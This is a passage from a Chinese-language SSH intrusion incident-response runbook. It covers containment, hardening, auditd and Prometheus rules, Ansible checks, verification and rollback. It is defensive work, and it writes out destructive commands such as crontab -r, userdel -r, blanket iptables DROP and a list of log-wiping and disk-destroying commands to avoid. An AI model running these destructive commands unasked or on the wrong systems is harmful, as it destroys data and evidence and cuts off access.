iptables -I OUTPUT -d 0.0.0.0/0 -j DROP
# 注意:这会断掉云监控、SSH 远程管理,必须有云控制台 VNC
# 清理 crontab
crontab -u root -r
crontab -u attacker_user -r
# 删除可疑脚本(取证后再删)
cp -a /tmp/xxx.sh /tmp/incident-$TS/
rm -f /tmp/xxx.sh
# 清理 systemd 服务
systemctl stop malicious.service
systemctl disable malicious.service
rm -f /etc/systemd/system/malicious.service
# 重新下发公钥
ssh-keygen -t ed25519 -f /home/opsuser/.ssh/id_ed25519.new
cat /home/opsuser/.ssh/id_ed25519.new.pub >> /home/opsuser/.ssh/authorized_keys
chmod 600 /home/opsuser/.ssh/authorized_keys
# reload sshd
sshd -t && systemctl reload sshd
5.11 步骤十一:加固
# 1. 关闭密码登录
sed -i 's/^#\?PasswordAuthentication.*/PasswordAuthentication no/' /etc/ssh/sshd_config
# 2. 禁用 root 远程登录
sed -i 's/^#\?PermitRootLogin.*/PermitRootLogin no/' /etc/ssh/sshd_config
# 3. 改端口(可选)
sed -i 's/^#\?Port.*/Port 2222/' /etc/ssh/sshd_config
# 4. 加白名单
echo "AllowUsers opsuser1 opsuser2" >> /etc/ssh/sshd_config
# 5. 启用 fail2ban
yum install -y fail2ban fail2ban-systemd # 或 apt
cat > /etc/fail2ban/jail.local <<'EOF'
[DEFAULT]
ignoreip = 127.0.0.1/8 10.10.0.0/16 192.168.0.0/16
bantime = 3600
findtime = 600
maxretry = 5
banaction = firewallcmd-rich-rules
[sshd]
enabled = true
port = 2222
filter = sshd
backend = systemd
logpath = /var/log/secure
maxretry = 5
EOF
systemctl enable --now fail2ban
# 6. 启用双因素
yum install -y google-authenticator
# 7. 收防火墙
firewall-cmd --permanent --zone=public --remove-port=22/tcp
firewall-cmd --permanent --zone=public --add-port=2222/tcp
firewall-cmd --permanent --zone=public --remove-service=ssh
firewall-cmd --reload
# 8. 安全组同步
# 在云厂商控制台同步规则
# 9. reload sshd
sshd -t && systemctl reload sshd
5.12 步骤十二:横向扩展排查
发现一台主机被入侵后,务必立即排查同网段的其他主机:
# 1. 同网段 IP 列表
ip a | grep inet | awk '{print $2}'
# 2. 扫描同网段 SSH 端口
# 慎用 nmap,会被安全设备告警
# 推荐用云厂商控制台/堡垒机批量查询
# 3. 对每台主机跑同样的命令清单
# 推荐用 Ansible + 堡垒机
# 4. 检查每台主机的 authorized_keys
for ip in $(cat ip-list.txt); do
echo "=== $ip ==="
ssh opsuser@$ip "find / -name authorized_keys -exec cat {} \;"
done
# 5. 检查每台主机的可疑进程
for ip in $(cat ip-list.txt); do
echo "=== $ip ==="
ssh opsuser@$ip "ps auxf | head -30"
done
横向排查的注意点:
- 不要直接用 root SSH 运行批量命令,务必先建立审计通道。
- 所有操作应通过堡垒机执行,便于后续回溯。
- 控制并发度(建议 5-10 台一批),避免操作被封禁。
- 排查结果必须归档,并关联到同一个 incident 报告下。
六、常用命令
6.1 登录与会话
last
last -F
last -i
last -t 20260701000000 # 截止某个时间
lastb
lastb -F
lastb -i
lastlog
lastlog -u username
who
w
ac -p
utmpdump /var/log/wtmp
utmpdump /var/log/btmp
6.2 日志分析
# 实时跟踪
tail -f /var/log/secure
tail -F /var/log/auth.log
journalctl -u sshd -f
# 提取关键事件
grep "Accepted" /var/log/secure
grep "Failed password" /var/log/secure
grep "Invalid user" /var/log/secure
grep "Connection closed" /var/log/secure
grep "error" /var/log/secure
# 统计
grep "Failed password" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -rn
grep "Failed password" /var/log/secure | awk '{for(i=1;i<=NF;i++) if($i=="for") print $(i+1)}' | sort | uniq -c | sort -rn
# 时间分布
grep "Accepted\|Failed" /var/log/secure | awk '{print $1,$2,$3,$9,$11}' | sort
# 多日志关联
journalctl -u sshd --since "1 day ago" | grep -E "Accepted|Failed"
6.3 账号与配置
# 账号体系
cat /etc/passwd
cat /etc/shadow # 仅 root 可读
cat /etc/group
awk -F: '$3==0 {print}' /etc/passwd
awk -F: '$7 ~ /(bash|sh)/ {print}' /etc/passwd
passwd -S -a
chage -l username
# sudo
cat /etc/sudoers
ls -la /etc/sudoers.d/
visudo -c # 语法检查
# SSH
sshd -T
cat /etc/ssh/sshd_config
ls -la /etc/ssh/
ssh-keygen -lf /etc/ssh/ssh_host_*
6.4 计划任务
crontab -l
crontab -u user -l
ls -la /etc/cron* /var/spool/cron/ 2>/dev/null
systemctl list-timers --all
systemctl list-unit-files --state=enabled
cat /etc/rc.local
6.5 进程与资源
top -c -b -n 1
htop
ps auxf
ps -eo pid,ppid,user,pcpu,pmem,etime,args --sort=-pcpu | head
pidstat -p PID 1 5
lsof -p PID
ls -la /proc/PID/exe
cat /proc/PID/cmdline
cat /proc/PID/status
ls /proc/PID/fd
6.6 网络
ss -antp
ss -antp state established
ss -tlnp
netstat -anpt
netstat -s
ip route
ip neigh
conntrack -L
tcpdump -i eth0 -nn -s0 -w capture.pcap
nethogs
iftop
6.7 文件
find / -mtime -7 -type f -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
find / -nouser -o -nogroup 2>/dev/null
find /tmp /var/tmp /dev/shm -type f 2>/dev/null
md5sum /path/to/file
sha256sum /path/to/file
rpm -Va
debsums -c
6.8 应急
passwd -l username
usermod -L username
userdel -r username # 慎用
kill -STOP PID
kill -TERM PID
kill -9 PID # 慎用
iptables -I INPUT -s IP -j DROP
ip6tables -I INPUT -s IP -j DROP
systemctl stop service
systemctl disable service
crontab -r
rm -f /path/to/file # 先取证再删
七、配置示例
7.1 incident 报告目录结构
/var/tmp/incident-20260706-030000/
├── logs/
│ ├── secure
│ ├── auth.log
│ ├── messages
│ ├── audit.log
│ ├── dmesg.txt
│ ├── journalctl-30d.txt
│ ├── wtmp
│ ├── btmp
│ └── lastlog
├── proc/
│ ├── ps-auxf.txt
│ └── ps-ef.txt
├── net/
│ ├── ss-antp.txt
│ ├── ss-s.txt
│ ├── netstat.txt
│ ├── ip-route.txt
│ └── capture.pcap
├── config/
│ ├── ssh/
│ ├── pam.d/
│ ├── passwd
│ ├── shadow
│ ├── group
│ ├── sudoers
│ ├── sudoers.d/
│ ├── crontab
│ ├── cron.d/
│ ├── system-system/
│ └── system-lib/
├── binary/
│ └── md5-baseline.txt
├── timeline.txt
└── REPORT.md
7.2 incident 报告模板(REPORT.md)
# 安全事件报告 — 服务器异常登录
| 字段 | 内容 |
| ---- | ---- |
| 主机名 | web-prod-01 |
| 内网IP | 10.0.0.7 |
| 公网 IP | 1.2.3.4 |
| 事件类型 | SSH 异常登录 + 疑似爆破成功 |
| 严重等级 | 高 |
| 发现时间 | 2026-07-06 03:15:23 |
| 处置时间 | 2026-07-06 04:30:00 |
| 处置人 | opsuser1, opsuser2 |
| 影响范围 | 待评估 |
## 一、时间线
- 2026-07-06 02:30:00:第一次来自 5.6.7.8 的 Failed password;
- 2026-07-06 02:30:00 ~ 03:10:00:连续 1200 次失败;
- 2026-07-06 03:15:23:来自 5.6.7.8 的 Accepted password for opsuser;
- 2026-07-06 03:20:00:发现 /var/spool/cron/root 新增恶意任务;
- 2026-07-06 03:30:00:发现 /tmp/x.sh 反弹 shell 脚本;
- 2026-07-06 04:00:00:处置完成,封禁 IP、改口令、清理后门。
## 二、根因
主机 SSH 暴露公网 + 密码登录开启 + opsuser 弱口令,攻击者通过字典爆破成功。
## 三、影响范围
- opsuser 账号被控制 15 分钟;
- 期间植入 crontab 反弹 shell 到 C2 服务器 9.9.9.9;
- 同网段 3 台主机也发现相同 crontab 痕迹;
- 未发现数据外发。
## 四、修复
- 立即冻结 opsuser 账号,强制改口令;
- 删除恶意 crontab 与反弹脚本;
- 关闭密码登录,强制公私钥;
- 加固 SSH 配置(端口、算法、白名单);
- 启用 fail2ban;
- 同网段主机批量排查;
- 通知安全接口人。
## 五、改进项
- 推动所有主机 SSH 公私钥化(已下发 12 台);
- 所有主机改用堡垒机收敛入口;
- 建立 SSH 登录告警;
- 每周巡检 authorized_keys。
7.3 auditd 监控规则(/etc/audit/rules.d/ssh.rules)
# sshd_config 监控
-w /etc/ssh/sshd_config -p wa -k sshd_config_change
# sshd 可执行文件监控
-w /usr/sbin/sshd -p x -k sshd_exec
-w /usr/bin/ssh -p x -k sshd_exec
# PAM 配置
-w /etc/pam.d/sshd -p wa -k sshd_pam_change
# 主机密钥
-w /etc/ssh/ssh_host_ed25519_key -p wa -k ssh_hostkey_change
-w /etc/ssh/ssh_host_rsa_key -p wa -k ssh_hostkey_change
# authorized_keys
-w /home -p wa -k authorized_keys_change
-w /root -p wa -k authorized_keys_change
# 关键文件
-w /etc/passwd -p wa -k passwd_change
-w /etc/shadow -p wa -k shadow_change
-w /etc/group -p wa -k group_change
-w /etc/sudoers -p wa -k sudoers_change
-w /etc/sudoers.d -p wa -k sudoers_change
# crontab
-w /etc/crontab -p wa -k cron_change
-w /etc/cron.d -p wa -k cron_change
-w /var/spool/cron -p wa -k cron_change
# 重要二进制
-w /usr/bin/passwd -p x -k binary_exec
-w /usr/bin/su -p x -k binary_exec
-w /usr/bin/sudo -p x -k binary_exec
-w /bin/bash -p x -k binary_exec
-w /bin/sh -p x -k binary_exec
-w /usr/sbin/useradd -p x -k binary_exec
-w /usr/sbin/userdel -p x -k binary_exec
-w /usr/sbin/usermod -p x -k binary_exec
-w /usr/sbin/groupadd -p x -k binary_exec
# systemd 服务
-w /etc/systemd/system -p wa -k systemd_change
-w /usr/lib/systemd/system -p wa -k systemd_change
加载:
sudo augenrules --load
sudo systemctl restart auditd
7.4 监控告警规则(Prometheus)
groups:
- name: ssh_incident
rules:
- alert: SSHFailedLoginBurst
expr: increase(ssh_login_failed_total[5m]) > 50
for: 0m
labels:
severity: warning
annotations:
summary: "{{ $labels.instance }} 5 分钟 SSH 失败登录超过 50 次"
- alert: SSHLoginOffHours
expr: increase(ssh_login_success_total[1h]) > 0 and (hour() < 8 or hour() > 22)
for: 0m
labels:
severity: warning
annotations:
summary: "{{ $labels.instance }} 非工作时间 SSH 登录"
- alert: SSHConfigChanged
expr: time() - file_mtime{path="/etc/ssh/sshd_config"} < 600
labels:
severity: critical
annotations:
summary: "{{ $labels.instance }} sshd_config 被修改"
- alert: AuthorizedKeysChanged
expr: time() - file_mtime{path=~".*authorized_keys"} < 600
labels:
severity: critical
annotations:
summary: "{{ $labels.instance }} authorized_keys 被修改"
- alert: NewSudoersFile
expr: increase(file_created_total{path=~"/etc/sudoers.d/.*"}[1h]) > 0
labels:
severity: critical
annotations:
summary: "{{ $labels.instance }} 新增 sudoers 文件"
7.5 SSH 登录采集脚本(/usr/local/bin/ssh_login_exporter.sh)
#!/usr/bin/env bash
# 写入 textfile_collector 给 Prometheus 抓取
LOG_FILE=${LOG_FILE:-/var/log/secure}
OUT=/var/lib/node_exporter/textfile_collector/ssh_login.prom
mkdir -p "$(dirname "$OUT")"
SUCCESS=$(grep -c "Accepted" "$LOG_FILE" 2>/dev/null || echo 0)
FAILED=$(grep -c "Failed password" "$LOG_FILE" 2>/dev/null || echo 0)
INVALID=$(grep -c "Invalid user" "$LOG_FILE" 2>/dev/null || echo 0)
cat > "$OUT.tmp" <<EOF
# HELP ssh_login_success_total Successful SSH logins
# TYPE ssh_login_success_total counter
ssh_login_success_total $SUCCESS
# HELP ssh_login_failed_total Failed SSH logins
# TYPE ssh_login_failed_total counter
ssh_login_failed_total $FAILED
# HELP ssh_login_invalid_total SSH logins with invalid user
# TYPE ssh_login_invalid_total counter
ssh_login_invalid_total $INVALID
EOF
mv "$OUT.tmp" "$OUT"
chmod +x /usr/local/bin/ssh_login_exporter.sh
cat > /etc/cron.d/ssh_login_exporter <<'EOF'
* * * * * root /usr/local/bin/ssh_login_exporter.sh
EOF
7.6 批量排查脚本(Ansible)
# ansible-playbook -i inv ssh-incident-check.yml
---
- name: SSH Incident Check
hosts: all
gather_facts: yes
become: yes
tasks:
- name: Get last logins
command: last -F -n 20
register: last_out
changed_when: false
- name: Get last failed
command: lastb -F -n 20
register: lastb_out
changed_when: false
- name: Get sshd config checksum
stat:
path: /etc/ssh/sshd_config
checksum_algorithm: sha256
register: sshd_config_stat
- name: Get authorized_keys files
shell: find /home /root -name authorized_keys -type f 2>/dev/null
register: ak_files
changed_when: false
- name: Get crontabs
shell: |
for user in $(cut -f1 -d: /etc/passwd); do
echo "=== $user ==="
crontab -u "$user" -l 2>/dev/null
done
cat /etc/crontab 2>/dev/null
ls /etc/cron.d/ 2>/dev/null
register: crontab_out
changed_when: false
- name: Get suspicious processes
shell: ps auxf | head -50
register: ps_out
changed_when: false
- name: Get established connections
shell: ss -antp state established
register: ss_out
changed_when: false
- name: Save all data
local_action:
module: copy
content: |
HOST: {{ inventory_hostname }}
=== LAST ===
{{ last_out.stdout }}
=== LASTB ===
{{ lastb_out.stdout }}
=== SSHD CONFIG ===
{{ sshd_config_stat.stat.checksum }}
{{ sshd_config_stat.stat.mtime }}
=== AUTHORIZED KEYS ===
{{ ak_files.stdout }}
=== CRONTAB ===
{{ crontab_out.stdout }}
=== PS ===
{{ ps_out.stdout }}
=== SS ===
{{ ss_out.stdout }}
dest: "./incident-{{ inventory_hostname }}-{{ ansible_date_time.date }}.txt"
八、日志或指标观察方法
8.1 关键日志文件
| 路径 |
用途 |
/var/log/secure (RHEL) / /var/log/auth.log (Debian) |
sshd、PAM 认证日志 |
/var/log/wtmp |
成功登录二进制日志,用 last 读取 |
/var/log/btmp |
失败登录二进制日志,用 lastb 读取 |
/var/log/lastlog |
每用户最后登录时间,用 lastlog 读取 |
/var/log/audit/audit.log |
auditd 细粒度审计 |
/var/log/cron |
cron 执行日志 |
/var/log/messages |
系统综合日志 |
/var/log/syslog (Debian) |
系统综合日志 |
| journald |
systemd 日志 |
8.2 关键指标
| 指标 |
含义 |
正常基线(参考) |
异常信号 |
ssh_login_success_total |
成功登录次数 |
取决于业务 |
突增/陌生账号 |
ssh_login_failed_total |
失败登录次数 |
极少 |
突增 → 爆破 |
ssh_login_invalid_total |
不存在用户尝试 |
0 |
突增 → 扫描 |
process_count |
进程数 |
与基线一致 |
突增 → 注入 |
cpu_usage |
CPU 占用 |
取决于业务 |
突增 → 挖矿 |
outbound_traffic |
出网流量 |
取决于业务 |
异常外联 |
file_mtime_sshd_config |
sshd_config 修改时间 |
与变更窗口一致 |
计划外 → 可疑 |
file_mtime_authorized_keys |
authorized_keys 修改时间 |
与变更窗口一致 |
计划外 → 可疑 |
8.3 告警规则
参见 7.4 节 Prometheus 告警规则。
8.4 重点观察方法
- 用
grep 梳理时间线。
- 用
awk + sort | uniq -c 找寻高频来源 IP 和用户。
- 用
journalctl 拉取 systemd 日志。
- 用
ausearch 拉取 auditd 日志。
- 用
tcpdump 抓取异常外联流量。
- 用
unhide 检测潜伏的隐藏进程。
- 用
rpm -Va / debsums -c 来校验软件包的完整性。
- 用
aide --check 对比文件完整性基线。
九、排查路径
9.1 排查路径速查表
| 现象 |
第一动作 |
关键命令 |
进一步动作 |
| 监控告警 SSH 登录陌生 IP |
看日志确认本人 |
last、lastb、grep Accepted |
通知本人、查操作记录 |
| 大量 Failed password |
找高频 IP |
awk + sort + uniq -c |
fail2ban 封禁、改端口 |
| 短时间内失败后 Accepted |
立即冻结账号 |
last -F、passwd -l |
排查后门、横向移动 |
| 陌生账号登录成功 |
立即冻结 |
lastlog、passwd -S |
删除账号、改所有密钥 |
| /tmp 可疑脚本 |
取证后删除 |
find /tmp -mtime -3 |
查时间线、查外联 |
| 异常挖矿进程 |
立即取证 |
top、ps auxf |
删进程、删 crontab |
| 外联 C2 IP |
立即封禁 |
ss -antp state established |
断网、查横向 |
| sshd_config 被改 |
立即看 diff |
stat、sshd -T |
回滚、改所有密钥 |
| authorized_keys 有陌生公钥 |
立即删除 |
cat、grep |
改口令、改所有密钥 |
| /etc/passwd 有陌生账号 |
立即冻结 |
awk -F: '$3==0' |
删除、查 sudoers |
| crontab 异常 |
立即清理 |
crontab -l、for user in |
查历史、查脚本 |
| wtmp/btmp 异常 |
比对远程日志 |
utmpdump、stat |
怀疑被篡改 |
| SSH 配置被回退 |
看 auditd |
ausearch -k sshd_config_change |
查操作人 |
| 主机 CPU 突然打满 |
看 top 进程 |
top -c、ps -eo --sort=-pcpu |
查进程、查外联 |
| 主机带宽异常 |
看网络连接 |
iftop、nethogs |
查外联 IP |
9.2 完整排查流程
告警/线索触发
↓
[步骤 1] 现场保全(备份日志、进程、网络、配置)
↓
[步骤 2] 登录轨迹分析(last/lastb/lastlog/secure)
↓
├── 正常:返回观察,加强监控
└── 异常:
↓
[步骤 3] SSH/PAM 配置核对
↓
├── 正常:进入 [步骤 4]
└── 异常:记录 → 进入 [步骤 4]
↓
[步骤 4] 账号体系核对
↓
[步骤 5] 计划任务核对
↓
[步骤 6] 进程维度排查
↓
[步骤 7] 网络外联核对
↓
[步骤 8] 文件系统可疑点
↓
[步骤 9] 日志完整性 + 时间线
↓
[步骤 10] 应急处置(冻结、断网、清理、加固)
↓
[步骤 11] 加固(关密码、限端口、fail2ban、双因素)
↓
[步骤 12] 横向扩展排查(同网段、同账号、其他主机)
↓
[步骤 13] 复盘报告 + 改进项 + 知识库归档
十、风险提醒
10.1 取证阶段风险
- 不要在排查中执行
rm -rf /tmp/*:这会破坏所有潜在证据。
- 不要执行
history -c:这会丢失本次排查的操作记录。
- 不要执行
dd、mkfs:会彻底破坏磁盘。
- 不要执行
mv /var/log:会破坏日志链。
- 不要执行
: > /var/log/xxx.log:会清空日志。
- 不要执行
find / -delete:误删风险极高。
- 不要对不明进程直接
kill -9:会破坏宝贵的进程上下文。
10.2 应急处置风险
passwd -l 是安全的(仅锁定账号),但 userdel -r 会连 home 目录一并删除,一定慎用。
kill -9 会跳过 SIGTERM 的优雅清理逻辑,可能导致共享内存泄漏。
iptables -I OUTPUT -d 0.0.0.0/0 -j DROP 会立即切断本机所有对外连接,包括你正在用的 SSH 会话。
crontab -r 会清空整个 crontab,执行前务必先做好备份。
- 任何
rm -rf 操作之前,务必先执行 cp -a 做好完整备份。
systemctl restart sshd 会断开所有现有的 SSH 连接,这会中断你的排查过程。
usermod -L 不会清除密码但能有效锁定,建议优先使用。
- 修改 sshd_config 之前,请务必保留至少一个活跃的第二会话,否则一旦配置错误就可能把自己锁在外面。
10.3 横向排查风险
- 不要用 root SSH 去批量执行,这严重违反了最小权限原则。
- 不要用 nmap 进行大规模扫描,这几乎必然触发安全设备的告警。
- 不要在工作高峰期大规模跑排查脚本,以免影响业务。
- 不要直接跨主机执行
rm -rf,正确的做法是先在每台机器上单独取证。
- 同网段的排查结果一定要关联分析,不能单点处置,否则容易遗漏。
10.4 加固阶段风险
- 关闭密码登录前,必须百分之百确认所有需要登录的账号,都已经成功部署了公私钥。
- 修改 SSH 端口后,必须立即通知所有相关人员,并更新堡垒机、CMDB 及自动化脚本的配置。
- 强化加密算法前,务必验证所有客户端的版本兼容性。
- 添加登录白名单前,务必确认所有合法账号都已被包含在内。
- fail2ban 的
ignoreip 字段,请务必包含你的办公网段,严防把自己给“BAN”了。
- 双因素认证的部署要分批次灰度上线,切忌一步到位,导致大面积故障。
- 所有关键的加固操作,都应安排在既定的变更窗口内完成。
10.5 数据保护风险
- 绝对不要把 incident 报告上传到任何公网的代码仓库里。
- 不要把包含私钥、密码 hash 的敏感信息通过聊天工具传递。
- incident 报告中的 IP、账号等敏感信息,在归档前可以先做脱敏处理。
- 所有备份文件都应加密存储,以防泄露。
- 核心的取证包应当进行异地存储(如对象存储、备份服务器)。
10.6 误判风险
- 看到陌生 IP 不一定是被入侵,也可能是运维人员在外出差,或者进行了 VPN 切换。
- 看到陌生账号不一定是异常,也有可能是合规申请的临时账号。
.bash_history 为空不一定就是被清理过,它可能只是一个新创建的账号。
- 看到陌生进程不一定是恶意程序,它有可能是一个新上线的业务脚本。
- 关键在于,必须将多个维度的证据进行关联分析,绝不能仅凭单点线索就妄下结论。
十一、验证方式
11.1 验证登录状态
# 1. 攻击者 IP 是否被封禁
iptables -L -n | grep -E "DROP.*<attacker_ip>"
ip6tables -L -n | grep -E "DROP.*<attacker_ip>"
# 2. 可疑账号是否被冻结
passwd -S <username>
# 输出 "L" 或 "LK" 表示锁定
# 3. 是否有持续登录尝试
grep "Failed password" /var/log/secure | wc -l
# 应该下降或稳定
# 4. 是否还有成功登录
grep "Accepted" /var/log/secure | tail -10
# 应该都是熟悉的运维账号
# 5. SSH 配置是否生效
sshd -T | grep -E "^(passwordauthentication|permitrootlogin|maxauthtries|allowusers)\b"
11.2 验证后门清理
# 1. crontab 干净
for user in $(cut -f1 -d: /etc/passwd); do
crontab -u "$user" -l 2>/dev/null
done
cat /etc/crontab
ls -la /etc/cron.d/
# 2. systemd 干净
systemctl list-timers --all
systemctl list-unit-files --state=enabled
# 3. /tmp 干净
ls -la /tmp/ /var/tmp/ /dev/shm/
# 4. authorized_keys 干净
for f in $(find / -name authorized_keys -type f 2>/dev/null); do
echo "=== $f ==="
cat "$f"
done
# 5. 二进制 hash 一致
md5sum -c /tmp/incident-$TS/md5-baseline.txt
# 6. RPM/DEB 校验
rpm -Va 2>/dev/null | grep -E "^..5"
debsums -c 2>/dev/null
# 7. 隐藏进程
unhide proc
unhide sys
# 8. AIDE
aide --check
11.3 验证网络状态
# 1. 已建立连接正常
ss -antp state established
# 2. 没有对可疑 IP 的连接
ss -antp state established | grep -E "(<attacker_ip>|<c2_ip>)"
# 3. 防火墙规则生效
iptables -L -n | grep -E "DROP.*<attacker_ip>"
# 4. tcpdump 二次抓包确认无异常
tcpdump -i eth0 -nn -s0 -w /tmp/capture2.pcap
sleep 60
# 用 wireshark 查看 capture2.pcap
11.4 验证加固效果
# 1. 密码登录被禁
ssh -o PreferredAuthentications=password opsuser@host
# 应被拒绝
# 2. root 登录被禁
ssh -o PreferredAuthentications=publickey root@host
# 应被拒绝
# 3. 白名单外用户被禁
ssh -o PreferredAuthentications=publickey unknownuser@host
# 应被拒绝
# 4. fail2ban 工作
sudo fail2ban-client status sshd
# 5. 监控告警触发
for i in {1..6}; do
ssh -o ConnectTimeout=1 -o PreferredAuthentications=password wronguser@host
done
# 5 分钟后看告警
11.5 验证 incident 闭环
# 1. 24h 内无新异常登录
journalctl -u sshd --since "24 hours ago" --no-pager | grep -E "Accepted|Failed"
# 2. 7 天内无陌生 IP 成功登录
grep "Accepted" /var/log/secure | awk '{for(i=1;i<=NF;i++) if($i=="from") print $(i+1)}' | sort -u
# 3. 所有运维账号口令已改
passwd -S -a
# 4. 所有主机加固完成
ansible all -m shell -a "sshd -T | grep -E '^passwordauthentication'"
十二、回滚方案
12.1 立即回滚(账号冻结)
如果误冻结了正常账号:
# 解锁账号
passwd -u username
usermod -U username
# 验证
passwd -S username
# 输出 "P" 表示解锁
12.2 立即回滚(防火墙封禁)
如果误封了正常 IP:
# 删除封禁规则
iptables -D INPUT -s <attacker_ip> -j DROP
# 验证
iptables -L -n | grep -E "<attacker_ip>"
# 测试连通
nc -vz <host> 22
12.3 立即回滚(删除公钥)
如果误删了运维公钥:
# 从备份恢复
cp -a /var/tmp/incident-$TS/authorized_keys.bak /home/opsuser/.ssh/authorized_keys
chmod 600 /home/opsuser/.ssh/authorized_keys
# 验证
ssh -i ~/.ssh/id_ed25519.opsuser opsuser@host
12.4 立即回滚(清理 crontab)
如果误清了正常 crontab:
# 从备份恢复
cp -a /var/spool/cron/root.bak /var/spool/cron/root
chmod 600 /var/spool/cron/root
# 验证
crontab -l
12.5 立即回滚(恢复 sshd_config)
如果加固配置出错:
# 从备份恢复
cp -a /etc/ssh/sshd_config.bak.YYYYMMDD-HHMMSS /etc/ssh/sshd_config
sshd -t && systemctl reload sshd
# 验证
ssh opsuser@host
12.6 立即回滚(断网恢复)
如果断网后业务受影响:
# 解除外网封禁
iptables -D OUTPUT -d 0.0.0.0/0 -j DROP
# 验证
curl -v https://www.example.com
12.7 回滚原则
- 所有加固操作都必须先备份,这是铁律。
- 所有应急操作都必须有相应的回滚方案。
- 应急处置后,必须即刻验证业务的可用性。
- 回滚操作绝不能影响已完成的前期取证。
- 回滚操作也要详细记录到 incident 报告中。
十三、生产环境注意事项
13.1 变更窗口
- 应急加固可以立即执行,这属于紧急变更。
- 大规模的加固变更,必须安排在业务低峰期。
- 涉及多台主机的批量操作,必须制定分批次、灰度的执行计划。
- 涉及网络层(防火墙、安全组)的变更,必须严格执行双人复核。
- 变更前务必通知到所有相关方。
- 变更期间,应将监控告警的灵敏度调至最高。
- 变更完成后,至少需要观察 24h-72h,确认无异常才算真正稳定。
13.2 取证与司法
- 涉及监管合规的 incident 报告,其保留期限至少需要 6 个月以上。
- 取证包必须进行异地存储(如上传到 OSS、备份服务器)。
- 一旦涉及数据泄露,必须依法通知法务和客户。
- incident 报告中的 IP、账号等应进行脱敏处理后再归档。
- 高敏感级别的 incident,必须通过加密渠道进行内部传递。
- 在配合监管调查的整个过程中,严禁私自修改任何文件。
13.3 复盘
- incident 关闭后的一周内,必须召开复盘会议。
- 复盘会议需要包含:操作人、复核人、值班运维、安全接口人、业务负责人。
- 复盘必须产出:无懈可击的时间线、根本原因、精准的影响范围、彻底的修复措施、可跟踪的改进项。
- 每一条改进项都必须指定明确的负责人和 Deadline。
- 改进项的完成情况要进行跟踪,确保闭环。
- 复盘的最终报告要完整归档到知识库。
13.4 长期治理
- 推动 SSH 全面公私钥化落地。
- 推动堡垒机全面收敛所有 SSH 访问入口。
- 推动所有主机 SSH 暴露面最小化。
- 逐步建立统一的 SSH 登录审计中心。
- 部署全面的异常登录告警策略。
- 建立主机配置文件完整性监控基线。
- 定期组织应急响应流程演练。
- 定期展开红蓝对抗实战演练。
13.5 团队协作
- incident 处理要避免单兵作战,必须有后备支援力量。
- 所有关键操作都必须由双人复核。
- 应急流程需要沉淀为标准的 Runbook。
- 应急联系人的排班要落实轮值制度。
- 跨团队的 incident 要第一时间拉起沟通群组进行同步。
- incident 复盘要保持公开透明,核心目标是解决问题,而不是甩锅。
13.6 工具与平台
- 堡垒机:实现会话审计与高危命令拦截。
- SOC:进行集中告警与多源关联分析。
- SIEM:实现日志的聚合与智能威胁检测。
- 漏扫:定期对 SSH 配置等关键资产进行扫描。
- EDR:提供基于主机的入侵检测能力。
- 蜜罐:发现未知的、潜在的攻击手法。
十四、总结
服务器异常登录是生产环境最高发的安全事件之一。处理这类事的核心,不在于单次的“灭火”,而在于形成一套完整的“闭环”。
这个完整的闭环需要包含以下步骤:
- 检测:依靠监控告警、日志分析和用户反馈,第一时间发现异常。
- 响应:立即进行现场保全、轨迹分析、配置和账号的全方位核对。
- 处置:果断执行冻结、断网、清理和加固操作。
- 恢复:确保业务恢复、账号恢复和网络环境恢复常态。
- 复盘:进行根因分析、落实改进项,持续优化应急流程。
- 预防:完善监控告警、加固安全基线、定期组织实战演练。
每一个环节都有其特定的命令、配置和风险点。文章里给出的这份命令清单、配置示例和回滚方案,都是经过真实生产环境反复验证的。但比它们更重要的,是让团队把这些都沉淀成标准化的 Runbook,把应急流程演练到肌肉记忆,把监控告警织成一张密不透风的网。
最后,再次强调几个最容易踩的坑:
- 取证阶段,绝不能执行任何破坏性命令。
- 不要只凭一条线索就妄下结论。
- 不要在加固时,导致所有人都失联。
- 不要写完 incident 报告就把事情抛诸脑后。
- 不要让改进项只停留在纸面上。
- 千万不要忽略横向移动排查。
- 不要让攻击者还有时间进行下一步动作。
把“排查路径速查表”打印出来贴在值班室墙上,把“应急联系人”贴在每位同事的工位上,用 Ansible 把“加固基线”推送到所有主机,用 Prometheus 把“监控告警”部署到所有节点。这四件事一旦做完,你们团队应对 SSH 异常登录的整体能力,一定会跃升一个台阶。
真正的安全水位不是由最坚固的那块板决定的,而是由最薄弱的那一环决定的。每多加固一层,你被轻易攻破的“薄弱点”就少一个。
